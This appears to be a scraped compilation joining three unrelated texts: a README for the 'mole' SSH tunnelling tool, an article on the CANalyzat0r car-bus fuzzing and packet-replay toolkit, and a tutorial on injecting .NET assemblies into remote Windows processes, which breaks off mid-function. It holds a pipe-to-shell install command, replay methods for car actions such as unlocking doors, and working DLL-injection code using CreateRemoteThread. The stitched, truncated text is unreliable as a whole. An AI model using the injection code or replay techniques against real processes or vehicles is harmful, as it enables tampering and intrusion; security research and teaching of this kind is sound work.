Easily create SSH tunnels.

Github — mole is maintained by davrodpin.

Mole is a cli application to create ssh tunnels, forwarding a local port to a remote address through a ssh server.


<span class="nv">$ </span>mole <span class="nt">-remote</span> :3306 <span class="nt">-server</span> my-database-server
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:51082"</span>

Highlighted Features

  • Auto local address selection: find a port available and start listening to it, so the 
    -local

     flag doesn’t need to be given every time you run the app.

  • Aliases: save your tunnel settings under an alias, so it can be reused later.
  • Leverage the SSH Config File: use some options (e.g. user name, identity key and port), specified in $HOME/.ssh/config whenever possible, so there is no need to have the same SSH server configuration in multiple places.

Table of Contents

Use Cases

…or why on Earth would I need something like this?

Access a computer or service behind a firewall

Mole can help you to access computers and services outside the perimeter network that are blocked by a firewall, as long as the user has ssh access to a computer with access to the target computer or service.


+----------+          +----------+          +----------+
|          |          |          |          |          |
|          |          | Firewall |          |          |
|          |          |          |          |          |
|  Local   |  tunnel  +----------+  tunnel  |          |
| Computer |--------------------------------|  Server  |
|          |          +----------+          |          |
|          |          |          |          |          |
|          |          | Firewall |          |          |
|          |          |          |          |          |
+----------+          +----------+          +----------+
                                                 |
                                                 |
                                                 | tunnel
                                                 |
                                                 |
                                            +----------+
                                            |          |
                                            |          |
                                            |          |
                                            |          |
                                            |  Remote  |
                                            | Computer |
                                            |          |
                                            |          |
                                            |          |
                                            +----------+

NOTE: Server and Remote Computer could potentially be the same machine.

Access a service that is listening only on a local address


<span class="nv">$ </span>mole <span class="se">\</span>
  <span class="nt">-local</span> 127.0.0.1:3306 <span class="se">\</span>
  <span class="nt">-remote</span> 127.0.0.1:3306 <span class="se">\</span>
  <span class="nt">-server</span> example@172.17.0.100

+-------------------+             +--------------------+
| Local Computer    |             | Remote / Server    |
|                   |             |                    |
|                   |             |                    |
| (172.17.0.10:     |    tunnel   |                    |
|        50001)     |-------------| (172.17.0.100:22)  |
|  tunnel client    |             |  tunnel server     |
|       |           |             |         |          |
|       | port      |             |         | port     |
|       | forward   |             |         | forward  |
|       |           |             |         |          |
| (127.0.0.1:3306)  |             | (127.0.0.1:50000)  |
|  local address    |             |         |          |
|                   |             |         | local    |
|                   |             |         | conn.    |
|                   |             |         |          |
|                   |             | (127.0.0.1:3306)   |
|                   |             |  remote address    |
|                   |             |      +----+        |
|                   |             |      | DB |        |
|                   |             |      +----+        |
+-------------------+             +--------------------+

NOTE: Server and Remote Computer could potentially be the same machine.

Installation


bash &lt;<span class="o">(</span>curl <span class="nt">-fsSL</span> https://raw.githubusercontent.com/davrodpin/mole/master/tools/install.sh<span class="o">)</span>

or if you prefer install it through Homebrew


brew tap davrodpin/homebrew-mole <span class="o">&amp;&amp;</span> brew install mole

Usage


<span class="nv">$ </span>mole <span class="nt">-help</span>
usage:
  mole <span class="o">[</span><span class="nt">-v</span><span class="o">]</span> <span class="o">[</span><span class="nt">-local</span> <span class="o">[</span>&lt;host&gt;]:&lt;port&gt;] <span class="nt">-remote</span> <span class="o">[</span>&lt;host&gt;]:&lt;port&gt; <span class="nt">-server</span> <span class="o">[</span>&lt;user&gt;@]&lt;host&gt;[:&lt;port&gt;] <span class="o">[</span><span class="nt">-key</span> &lt;key_path&gt;]
  mole <span class="nt">-alias</span> &lt;alias_name&gt; <span class="o">[</span><span class="nt">-v</span><span class="o">]</span> <span class="o">[</span><span class="nt">-local</span> <span class="o">[</span>&lt;host&gt;]:&lt;port&gt;] <span class="nt">-remote</span> <span class="o">[</span>&lt;host&gt;]:&lt;port&gt; <span class="nt">-server</span> <span class="o">[</span>&lt;user&gt;@]&lt;host&gt;[:&lt;port&gt;] <span class="o">[</span><span class="nt">-key</span> &lt;key_path&gt;]
  mole <span class="nt">-alias</span> &lt;alias_name&gt; <span class="nt">-delete</span>
  mole <span class="nt">-start</span> &lt;alias_name&gt;
  mole <span class="nt">-aliases</span>
  mole <span class="nt">-help</span>
  mole <span class="nt">-version</span>

  <span class="nt">-alias</span> string
        Create a tunnel <span class="nb">alias</span>
  <span class="nt">-aliases</span>
        list all aliases
  <span class="nt">-delete</span>
        delete a tunnel <span class="nb">alias</span> <span class="o">(</span>must be used with <span class="nt">-alias</span><span class="o">)</span>
  <span class="nt">-help</span>
        list all options available
  <span class="nt">-key</span> string
        <span class="o">(</span>optional<span class="o">)</span> Set server authentication key file path
  <span class="nt">-local</span> value
        <span class="o">(</span>optional<span class="o">)</span> Set <span class="nb">local </span>endpoint address: <span class="o">[</span>&lt;host&gt;]:&lt;port&gt;
  <span class="nt">-remote</span> value
        <span class="nb">set </span>remote endpoint address: <span class="o">[</span>&lt;host&gt;]:&lt;port&gt;
  <span class="nt">-server</span> value
        <span class="nb">set </span>server address: <span class="o">[</span>&lt;user&gt;@]&lt;host&gt;[:&lt;port&gt;]
  <span class="nt">-start</span> string
        Start a tunnel using a given <span class="nb">alias</span>
  <span class="nt">-v</span>    <span class="o">(</span>optional<span class="o">)</span> Increase log verbosity
  <span class="nt">-version</span>
        display the mole version

Examples

Provide all supported options


<span class="nv">$ </span>mole <span class="nt">-v</span> <span class="nt">-local</span> 127.0.0.1:8080 <span class="nt">-remote</span> 172.17.0.100:80 <span class="nt">-server</span> user@example.com:22 <span class="nt">-key</span> ~/.ssh/id_rsa
DEBU[0000] cli options                                   <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa <span class="nb">local</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span> <span class="nv">remote</span><span class="o">=</span><span class="s2">"172.17.0.100:80"</span> <span class="nv">server</span><span class="o">=</span><span class="s2">"user@example.com:22"</span> <span class="nv">v</span><span class="o">=</span><span class="nb">true
</span>DEBU[0000] using ssh config file from: /home/mole/.ssh/config
DEBU[0000] server: <span class="o">[</span><span class="nv">name</span><span class="o">=</span>example.com, <span class="nv">address</span><span class="o">=</span>example.com:22, <span class="nv">user</span><span class="o">=</span>user, <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa]
DEBU[0000] tunnel: <span class="o">[</span><span class="nb">local</span>:127.0.0.1:8080, server:example.com:22, remote:172.17.0.100:80]
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span>

Use the ssh config file to lookup a given server host


<span class="nv">$ </span><span class="nb">cat</span> <span class="nv">$HOME</span>/.ssh/config
Host example1
  Hostname 10.0.0.12
  Port 2222
  User user
  IdentityFile ~/.ssh/id_rsa
<span class="nv">$ </span>mole <span class="nt">-v</span> <span class="nt">-local</span> 127.0.0.1:8080 <span class="nt">-remote</span> 172.17.0.100:80 <span class="nt">-server</span> example1
DEBU[0000] cli options                                   <span class="nv">key</span><span class="o">=</span> <span class="nb">local</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span> <span class="nv">remote</span><span class="o">=</span><span class="s2">"172.17.0.100:80"</span> <span class="nv">server</span><span class="o">=</span>example1 <span class="nv">v</span><span class="o">=</span><span class="nb">true
</span>DEBU[0000] using ssh config file from: /home/mole/.ssh/config
DEBU[0000] server: <span class="o">[</span><span class="nv">name</span><span class="o">=</span>example1, <span class="nv">address</span><span class="o">=</span>10.0.0.12:2222, <span class="nv">user</span><span class="o">=</span>user, <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa]
DEBU[0000] tunnel: <span class="o">[</span><span class="nb">local</span>:127.0.0.1:8080, server:10.0.0.12:2222, remote:172.17.0.100:80]
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span>

Let mole to randomly select the local endpoint


<span class="nv">$ </span>mole <span class="nt">-remote</span> 172.17.0.100:80 <span class="nt">-server</span> example1
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:61305"</span>

Bind the local address to 127.0.0.1 by specifying only the local port


<span class="nv">$ </span>mole <span class="nt">-v</span> <span class="nt">-local</span> :8080 <span class="nt">-remote</span> 172.17.0.100:80 <span class="nt">-server</span> example1
DEBU[0000] cli options                                   <span class="nv">key</span><span class="o">=</span> <span class="nb">local</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span> <span class="nv">remote</span><span class="o">=</span><span class="s2">"172.17.0.100:80"</span> <span class="nv">server</span><span class="o">=</span>example1 <span class="nv">v</span><span class="o">=</span><span class="nb">true
</span>DEBU[0000] using ssh config file from: /home/mole/.ssh/config
DEBU[0000] server: <span class="o">[</span><span class="nv">name</span><span class="o">=</span>example1, <span class="nv">address</span><span class="o">=</span>10.0.0.12:2222, <span class="nv">user</span><span class="o">=</span>user, <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa]
DEBU[0000] tunnel: <span class="o">[</span><span class="nb">local</span>:127.0.0.1:8080, server:10.0.0.12:2222, remote:172.17.0.100:80]
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span>

Connect to a remote service that is running on 127.0.0.1 by specifying only the remote port


<span class="nv">$ </span>mole <span class="nt">-v</span> <span class="nt">-local</span> 127.0.0.1:8080 <span class="nt">-remote</span> :80 <span class="nt">-server</span> example1
DEBU[0000] cli options                                   <span class="nv">key</span><span class="o">=</span> <span class="nb">local</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span> <span class="nv">remote</span><span class="o">=</span><span class="s2">"127.0.0.1:80"</span> <span class="nv">server</span><span class="o">=</span>example1 <span class="nv">v</span><span class="o">=</span><span class="nb">true
</span>DEBU[0000] using ssh config file from: /home/mole/.ssh/config
DEBU[0000] server: <span class="o">[</span><span class="nv">name</span><span class="o">=</span>example1, <span class="nv">address</span><span class="o">=</span>10.0.0.12:2222, <span class="nv">user</span><span class="o">=</span>user, <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa]
DEBU[0000] tunnel: <span class="o">[</span><span class="nb">local</span>:127.0.0.1:8080, server:10.0.0.12:2222, remote:127.0.0.1:80]
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:8080"</span>

Create an alias, so there is no need to remember the tunnel settings afterwards


<span class="nv">$ </span>mole <span class="nt">-alias</span> example1 <span class="nt">-v</span> <span class="nt">-local</span> :8443 <span class="nt">-remote</span> :443 <span class="nt">-server</span> user@example.com
<span class="nv">$ </span>mole <span class="nt">-start</span> example1
DEBU[0000] cli options                                   <span class="nv">options</span><span class="o">=</span><span class="s2">"[local=:8443, remote=:443, server=user@example.com, key=, verbose=true, help=false, version=false]"</span>
DEBU[0000] using ssh config file from: /home/mole/.ssh/config
DEBU[0000] server: <span class="o">[</span><span class="nv">name</span><span class="o">=</span>example.com, <span class="nv">address</span><span class="o">=</span>example.com:22, <span class="nv">user</span><span class="o">=</span>user, <span class="nv">key</span><span class="o">=</span>/home/mole/.ssh/id_rsa]
DEBU[0000] tunnel: <span class="o">[</span><span class="nb">local</span>:127.0.0.1:8443, server:example.com:22, remote:127.0.0.1:443]
INFO[0000] listening on <span class="nb">local </span>address                    <span class="nv">local_address</span><span class="o">=</span><span class="s2">"127.0.0.1:8443"</span>

A SECURITY ANALYSIS TOOLKIT FOR PROPRIETARY CAR PROTOCOLS CANALYZAT0R

Disclaimer: The elaboration and software project associated to this subject are results of a Bachelor’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

While car manufacturers steadily refine and advance vehicle systems, requirements of the underlying networks increase even further. Striving for smart cars, a fast-growing amount of components are interconnected within a single car. This results in specialized and often proprietary car protocols built based on standardized technology. Most of these protocols are based on bus protocols: All network nodes within such a bus network are connected using a single shared data link. This technology provides a feasible way of real time communication between several security and comfort systems. However, often no or insufficient authentication and encryption or other security mechanisms can be found in today’s car systems. As described previously, most of the interchanged data structures on a car network bus, including associated systems, are proprietary. For this reason, there’s a need for open source, extensible, easy to use and publicly available software to analyze the security state of such networks and protocols.

CAN BUS

Starting from mid-1980, the CAN bus is being implemented into vehicles. Still to this day, many components and proprietary protocols rely on the CAN bus. While analyzing today’s car protocols, we focused on this technology – however, there exist multiple additional technologies like FlexRay and automotive Ethernet which will most likely gain an increased relevance and also need to be analyzed in the future.

CAN network packets are defined by the associated packet format, which looks as follows [1]:

CAN packet format

  • Arbitration ID: Describes the meaning of the data segments
  • Control: Flags to manage packet transport
  • Data: Payload of the packet with up to eight bytes of data
  • CRC: Checksum

A general goal of analyzing car protocols is to reverse engineer the CAN matrix. This data structure maps CAN arbitration IDs and corresponding payloads to specific actions. An example for this is the identification of a CAN packet which controls the acceleration of a vehicle.

Depending on intended goals, the CAN bus can be accessed in two ways:

  1. OBD-II interface: Since 2004, this diagnostic interface is mandatory for each car in the European Union. Most of the time, this port can be accessed from the driver’s seat. Inbound packets can and most likely will be filtered by the diagnostic gateway, so fuzzing from this interface can be of limited success rate.
  2. Interacting with bus wires: It’s possible to directly splice analysis hardware into a CAN bus. This way, filtering can be circumvented and otherwise isolated bus segments can be analyzed.

INTRODUCING THE CANALYZAT0R

This Python software project is built from scratch with new ideas for analysis mechanisms. It’s released on GitHub and bundles many features of other other CAN tools in one place. Also, it’s GUI based and organized with one tab per specific analysis task:

CANalyzat0r: Main tab

Most of the existing open source CAN analysis software makes use of SocketCAN. This consists of a bundle of kernel modules that abstract CAN communication in such a way that CAN interfaces can be used similarly to conventional network interfaces on the Linux operating system. So does CANalyzat0r, including many additional features:

  • Manage interface configuration (automatically load kernel modules, manage physical and virtual SocketCAN devices)
  • Multi interface support: Sniff while sending data on a separate SocketCAN interface
  • Manage your work in projects. You can also import and export them in human readable/editable JSON format and track data using a version control system.
  • Transparent logging
  • Graphical sniffing
  • Manage findings, dumps and known packets per project:
CANalyzat0r: Manage known packets per project
  • Easy copy and paste between CANalyzat0r modules. Also, it’s possible to paste text based SocketCAN files directly into the GUI to import existing packet dumps:
CANalyzat0r: Pasting packets
  • Threaded Sending, Fuzzing and Sniffing
  • Ignore packets when sniffing — Automatically filter unique packets by ID or data and ID
  • Compare dumps
  • Allows setting up complex setups using only one window
  • Clean organization in tabs for each analysis task
  • Advanced packet filtering using an interactive packet replay approach
  • Search for action specific packets using background noise filtering
  • SQLite support
  • PDF and HTML code documentation

CANalyzat0r is modular and extensible – using the provided documentation it’s possible to implement new features which integrate into the existing GUI and work flow.

USAGE EXAMPLES

SIMULTANEOUS SNIFFING AND FUZZING

In order to analyze functionalities of proprietary car components, fuzzing mostly acts as a starting point. Using this approach, CAN nodes can be examined to uncover potential security risks. The CANalyzat0r can be used to quickly setup an efficient fuzzing environment:

CANalyzat0r: Integrated fuzzer and sniffer
  1. Connect the CANalyzat0r to the CAN node via SocketCAN and the desired bit rate.
  2. In the fuzzer tab, choose the desired options: For example, it’s possible to define a fuzzing mask and a desired packet length range which will be applied to all randomly generated CAN packets:
Resulting payload Payload mask Length minimum Length maximum
12 AA 34 56 BB 13 XX AA XX XX BB 13 XX XX 0 6
XX AA XX XX BB 13 XX XX 0 6
12 AA 34 88 XX AA XX XX BB 13 37 DD 2 4

Also, CAN Arbitration IDs can be fixed while payloads remain variable. Here’s an example:

Resulting CAN ID ID mask Fuzzing mode
BA4 XAX User defined
832 XXX User defined
563 11 bit IDs

While random packets are being generated and sent over the CAN bus, it’s possible to use the sniffer tab to trace answer packets. Sniffed packet dumps can be saved, replayed or filtered in further steps.

SEMI-AUTOMATED PACKET FILTERING

To exploit and check for packet replay vulnerabilities, it’s often necessary to capture packet dumps while executing a certain task on a car, for example unlocking the doors using the remote control. Once such a packet dump that causes a CAN node to execute the desired task has been captured, it’s mostly desired to minimize such a set of packets. To gain the desired effect on a car’s component, it’s not required to replay thousands of packets every time. In fact, desired actions can usually be performed using only a few particular CAN packets.

For this task, the filtering tab of the CANalyzat0r can be used:

CANalyzat0r: Filtering packets
  1. Capture “noise” packets: While the desired action is not being executed by the CAN component, packets that pass the bus will be captured. These packets will be useful in further analysis steps.
  2. Record an arbitrary amount of packet sets while executing the task once per packet set.
  3. Filtering: First, all previously captured noise packets will be removed from each packet set. After that, only packets which occur in every packet set will be shown. This resulting set of packets causes the CAN node to perform the desired task while being heavily minimized.

Large packet dumps often are the result of fuzzing attempts. To assist in filtering relevant packets, the searcher tab of the described toolkit can be used:

  1. Load the desired packet dump by using either copy-and-paste mechanisms of the CANalyzat0r tabs, text based packet dumps or database queries.
  2. After connecting the CANalyzat0r to the target vehicle, start the searching process.
  3. The loaded packet set will be split into small chunks, which are replayed one after another. After one chunk has been replayed, the tool asks the user whether the desired action has been executed by the car. On success, the previously replayed packet set acts as the new base data set and the searching process restarts from the beginning.
  4. If no chunk generates the desired output, randomization will be used. This results in shuffled packet chunks which will be used for further retries. Using this approach, actions which require multiple packets to be sent can be identified.

DATABASE MANAGEMENT

Once packet dumps for specific results have been identified, they can be saved to the SQLite based database with an associated description. This allows a centralized finding management. Using the JSON based database import and export functionality, database states can be version controlled. It’s also possible to work on multiple CANalyzat0r projects simultaneously by creating separate projects.

EASY SETUP USING DOCKER

To get started quickly, the provided docker image can be used. No dependencies have to be present on the host system and the CANalyzat0r is up and ready using only a few commands. Please refer to the docker folder within the CANalyzat0r repository for additional information.

REFERENCES

Injecting .Net Assemblies Into Unmanaged Processes

( origin text )

A detailed analysis of how to inject the .net runtime and arbitrary .net assemblies into unmanaged and managed processes; and how to execute managed code within those processes.

 

Screenshot

Introduction

.Net is a powerful language for developing software quickly and reliably. However, there are certain tasks for which .net is unfit. This paper highlights one particular case, DLL injection. A .net DLL (aka managed DLL) cannot be injected inside a remote process in which the .net runtime has not been loaded. Furthermore, even if the .net runtime is loaded in a process one would like to inject, how can methods within the .net DLL be invoked? What about architecture? Does a 64 bit process require different attention than a 32 bit process? The goal of this paper is to show how to perform all of these tasks using documented APIs. Together we will:

  • Start the .net clr (common language runtime) in an arbitrary process regardless of bitness.
  • Load a custom .net assembly in an arbitrary process.
  • Execute managed code in the context of an arbitrary process.

Back To Fundamentals

Several things need to happen in order for us to achieve our goal. To make the problem more manageable, it will be broken down into several pieces and then reassembled at the end. The steps to solving this puzzle are:

  1. Load The CLR (Fundamentals) — Covers how to start the .net framework inside of an unmanaged process.
  2. Load The CLR (Advanced) — Covers how to load a custom .net assembly and invoke managed methods from unmanaged code.
  3. DLL Injection (Fundamentals) — Covers how to execute unmanaged code in a remote process.
  4. DLL Injection (Advanced) — Covers how to execute arbitrary exported functions in a remote process.
  5. Putting It All Together — A solution presents itself; putting it all together.

Note: The author uses the standard convention of function to refer to c++ functions, and method to refer to c# functions. The term «remote» process refers to any process other than the current process.

Load The CLR

Writing an unmanaged application that can load both the .net runtime and an arbitrary assembly into itself is the first step towards achieving our goal.

Fundamentals

The following sample program illustrates how a c++ application can load the .net runtime into itself:

#include <metahost.h>

#pragma comment(lib, "mscoree.lib")

#import "mscorlib.tlb" raw_interfaces_only \
    high_property_prefixes("_get","_put","_putref") \
    rename("ReportEvent", "InteropServices_ReportEvent")

int wmain(int argc, wchar_t* argv[])
{
    char c;
    wprintf(L"Press enter to load the .net runtime...");
    while (getchar() != '\n');	
    
    HRESULT hr;
    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICLRRuntimeHost *pClrRuntimeHost = NULL;
    
    // build runtime
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, 
        IID_PPV_ARGS(&pClrRuntimeHost));
    
    // start runtime
    hr = pClrRuntimeHost->Start();
    
    wprintf(L".Net runtime is loaded. Press any key to exit...");
    while (getchar() != '\n');
    
    return 0;
}

In the above code, the calls of interest are:

CLRCreateInstance — given CLSID_CLRMetaHost, gets a pointer to an instance of ICLRMetaHost
ICLRMetaHost::GetRuntime — get a pointer of type ICLRRuntimeInfo pointing to a specific .net runtime
ICLRRuntimeInfo::GetInterface — load the CLR into the current process and get a ICLRRuntimeHost pointer
ICLRRuntimeHost::Start — explicitly start the CLR, implicitly called when managed code is first loaded

At the time of this writing, the valid version values for ICLRMetaHost::GetRuntime are NULL«v1.0.3705»«v1.1.4322»«v2.0.50727», and «v4.0.30319» where NULL loads the latest version of the runtime. The desired runtime should be installed on the system, and the version values above should be present in either %WinDir%\Microsoft.NET\Framework or %WinDir%\Microsoft.NET\Framework64.

Compiling and running the code above produces the following output as seen from the console and Process Hacker:

console screenshot
process hacker screenshot

Once pressing enter it can be observed, via Process Hacker, that the .net runtime has been loaded. Notice the additional tabs referencing .net on the properties pane:

console screenshot
process hacker screenshot

The above sample code is not included in the source download. However, it is recommended as an exercise for the reader to build and run the sample.

Advanced

With the first piece of the puzzle in place, the next step is to load an arbitrary .net assembly into a process and invoke methods inside that .net assembly.

To continue building off the above example, the CLR has just been loaded into the process. This was achieved by obtaining a pointer to the CLR interface; this pointer is stored in the variable pClrRuntimeHost. Using pClrRuntimeHost a call was made to ICLRRuntimeHost::Start to initialize the CLR into the process.

Now that the CLR has been initialized, pClrRuntimeHost can make a call to ICLRRuntimeHost::ExecuteInDefaultAppDomain to load and invoke methods in an arbitrary .net assembly. The function has the following signature:

HRESULT ExecuteInDefaultAppDomain (
    [in] LPCWSTR pwzAssemblyPath,
    [in] LPCWSTR pwzTypeName, 
    [in] LPCWSTR pwzMethodName,
    [in] LPCWSTR pwzArgument,
    [out] DWORD *pReturnValue
);

A brief description of each parameter:

pwzAssemblyPath — the full path to the .net assembly; this can be either an exe or a dll file
pwzTypeName — the fully qualified typename of the method to invoke
pwzMethodName — the name of the method to invoke
pwzArgument — an optional argument to pass into the method
pReturnValue — the return value of the method

Not every method inside a .net assembly can be invoked via ICLRRuntimeHost::ExecuteInDefaultAppDomain. Valid .net methods must have the following signature:

static int pwzMethodName (String pwzArgument);

As a side note, access modifiers such as public, protected, private, and internal do not affect the visibility of the method; therefore, they have been excluded from the signature.

The following .net application will be used in all the examples that follow as the managed .net assembly to be injected inside processes:

using System;
using System.Windows.Forms;

namespace InjectExample
{
    public class Program
    {
        static int EntryPoint(String pwzArgument)
        {
            System.Media.SystemSounds.Beep.Play();

            MessageBox.Show(
                "I am a managed app.\n\n" + 
                "I am running inside: [" + 
                System.Diagnostics.Process.GetCurrentProcess().ProcessName + 
                "]\n\n" + (String.IsNullOrEmpty(pwzArgument) ? 
                "I was not given an argument" : 
                "I was given this argument: [" + pwzArgument + "]"));

            return 0;
        }

        static void Main(string[] args)
        {
            EntryPoint("hello world");
        }
    }
}

The example application above was written in such a way that it can be called via ICLRRuntimeHost::ExecuteInDefaultAppDomain or run standalone; with either approach producing similar behavior. The ultimate goal is that when injected into an unmanaged remote process, the application above will execute in the context of that process, and display a message box showing the remote process name.

Building on top of the sample code from the Fundamentals section, the following c++ program will load the above .net assembly and execute the EntryPoint method:

#include <metahost.h>

#pragma comment(lib, "mscoree.lib")

#import "mscorlib.tlb" raw_interfaces_only \
    high_property_prefixes("_get","_put","_putref") \
    rename("ReportEvent", "InteropServices_ReportEvent")

int wmain(int argc, wchar_t* argv[])
{
    HRESULT hr;
    ICLRMetaHost *pMetaHost = NULL;
    ICLRRuntimeInfo *pRuntimeInfo = NULL;
    ICLRRuntimeHost *pClrRuntimeHost = NULL;
    
    // build runtime
    hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
    hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
    hr = pRuntimeInfo->GetInterface(CLSID_CLRRuntimeHost, 
        IID_PPV_ARGS(&pClrRuntimeHost));
    
    // start runtime
    hr = pClrRuntimeHost->Start();
    
    // execute managed assembly
    DWORD pReturnValue;
    hr = pClrRuntimeHost->ExecuteInDefaultAppDomain(
    	L"T:\\FrameworkInjection\\_build\\debug\\anycpu\\InjectExample.exe", 
    	L"InjectExample.Program", 
    	L"EntryPoint", 
    	L"hello .net runtime", 
    	&pReturnValue);
    
    // free resources
    pMetaHost->Release();
    pRuntimeInfo->Release();
    pClrRuntimeHost->Release();
    
    return 0;
}

The following screenshot shows the output of the application:

test .net assembly outputSo far two pieces of the puzzle are in place. It is now understood how to load the CLR and execute arbitrary methods from within unmanaged code. But how can this be done in arbitrary processes?

DLL Injection

DLL injection is a strategy used to execute code inside a remote process by loading a DLL in the remote process. Many DLL injection tactics focus on code executing inside of DllMain. Unfortunately, attempting to start the CLR from within DllMain will cause the Windows loader to deadlock. This can be independently verified by writing a sample DLL that attempts to start the CLR from within DllMain. Verification is left as an excercise for the reader. For more information regarding .net initialization, the Windows loader, and loader lock; please refer to the following MSDN articles:

Inevitably the result is that the CLR cannot be started while the Windows loader is initializing another module. Each lock is process specific and managed by Windows. Remember, any module that attempts to acquire more than one lock on the loader when a lock has already been acquired will deadlock.

Fundamentals

The issue regarding the Windows loader seems sizable; and whenever a problem seems large it helps to break it down into more manageable pieces. Developing a strategy to inject a barebones DLL inside of a remote process is a good start. Take the following sample code:

#define WIN32_LEAN_AND_MEAN
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

The above code implements a simple DLL. To inject this DLL in a remote process, the following Windows APIs are needed:

OpenProcess — acquire a handle to a process
GetModuleHandle — acquire a handle to the given module
LoadLibrary — load a library in the address space of the calling process
GetProcAddress — get the VA (virtual address) of an exported function from a library
VirtualAllocEx — allocate space in a given process
WriteProcessMemory — write bytes into a given process at a given address
CreateRemoteThread — spawn a thread in a remote process

Moving on, the purpose of the function below is to execute an exported function of a DLL that has been loaded inside a remote process:

DWORD_PTR Inject(const HANDLE hProcess, const LPVOID function, 
    const wstring& argument)
{
    // allocate some memory in remote process
    LPVOID baseAddress = VirtualAllocEx(hProcess, NULL, GetStringAllocSize(argument), 
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // write argument into remote process	
    BOOL isSucceeded = WriteProcessMemory(hProcess, baseAddress, argument.c_str(), 
        GetStringAllocSize(argument), NULL);
    
    // make the remote process invoke the function
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
        (LPTHREAD_START_ROUTINE)function, baseAddress, NULL, 0);
    
    // wait for thread to exit
    WaitForSingleObject(hThread, INFINITE);
    
    // free memory in remote process
    VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE);
    
    // get the thread exit code
    DWORD exitCode = 0;
    GetExitCodeThread(hThread, &exitCode);
    
    // close thread handle
    CloseHandle(hThread);
    
    // return the exit code
    return exitCode;
}

Remember that the goal in this section is to load a library in a remote process. The next question is how can the above function be used to inject a DLL in a remote process? The answer lies in the assumption that kernel32.dll is mapped inside the address space of every process. LoadLibrary is an exported function of kernel32.dll and it has a function signature that matches LPTHREAD_START_ROUTINE, so it can be passed as the start routine to CreateRemoteThread. Recall that the purpose of LoadLibrary is to load a library in the address space of the calling process, and the purpose of CreateRemoteThread is to spawn a thread in a remote process. The following snippet illustrates how to load our test DLL inside of a process with ID 3344:

// get handle to remote process with PID 3344
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 3344);

// get address of LoadLibrary
FARPROC fnLoadLibrary = GetProcAddress(GetModuleHandle(L"Kernel32"), "LoadLibraryW");

// inject test.dll into the remote process
Inject(hProcess, fnLoadLibrary, L"T:\\test\\test.dll");

To continue building off the above example, once CreateRemoteThread is invoked, a call is made to WaitForSingleObject to wait for the thread to exit. Next a call is made to GetExitCodeThread to obtain the result. Coincidentally, when LoadLibrary is passed into CreateRemoteThread, a successful invocation will result in the lpExitCode of GetExitCodeThread returning the base address of the loaded library in the context of the remote process. This works great for 32-bit applications, but not for 64-bit applications. The reason is that lpExitCode of GetExitCodeThread is a DWORD value even on 64-bit machines, hence the address is truncated.

At this point three pieces of the puzzle are in place. To recap, the following problems have been solved:

  1. Loading the CLR using unmanaged code
  2. Executing arbitrary .net assemblies from unmanaged code
  3. Injecting DLLs

Advanced

Now that loading a DLL in a remote process is understood; discussion on how to start the CLR in a remote process can continue.

When LoadLibrary returns, the lock on the loader will be free. With the DLL in the address space of the remote process, exported functions can be invoked via subsequent calls to CreateRemoteThread; granted that the function signature matches LPTHREAD_START_ROUTINE. However, this invariably leads to more questions. How can exported functions be invoked inside a remote process, and how can pointers to these functions be obtained? Since GetProcAddress does not have a matching LPTHREAD_START_ROUTINE signature, how can the addresses of functions inside the DLL be obtained? Furthermore, even if GetProcAddress could be invoked, it still expects a handle to the remote DLL. How can this handle be obtained for 64-bit machines?

It is time to divide and conquer again. The following function reliably returns the handle (coincidentally the base address) of a given module in a given process on both x86 and x64 systems:

DWORD_PTR GetRemoteModuleHandle(const int processId, const wchar_t* moduleName)
{
    MODULEENTRY32 me32; 
    HANDLE hSnapshot = INVALID_HANDLE_VALUE;
    
    // get snapshot of all modules in the remote process 
    me32.dwSize = sizeof(MODULEENTRY32); 
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId);
    
    // can we start looking?
    if (!Module32First(hSnapshot, &me32)) 
    {
    	CloseHandle(hSnapshot);
    	return 0;
    }
    
    // enumerate all modules till we find the one we are looking for 
    // or until every one of them is checked
    while (wcscmp(me32.szModule, moduleName) != 0 && Module32Next(hSnapshot, &me32));
    
    // close the handle
    CloseHandle(hSnapshot);
    
    // check if module handle was found and return it
    if (wcscmp(me32.szModule, moduleName) == 0)
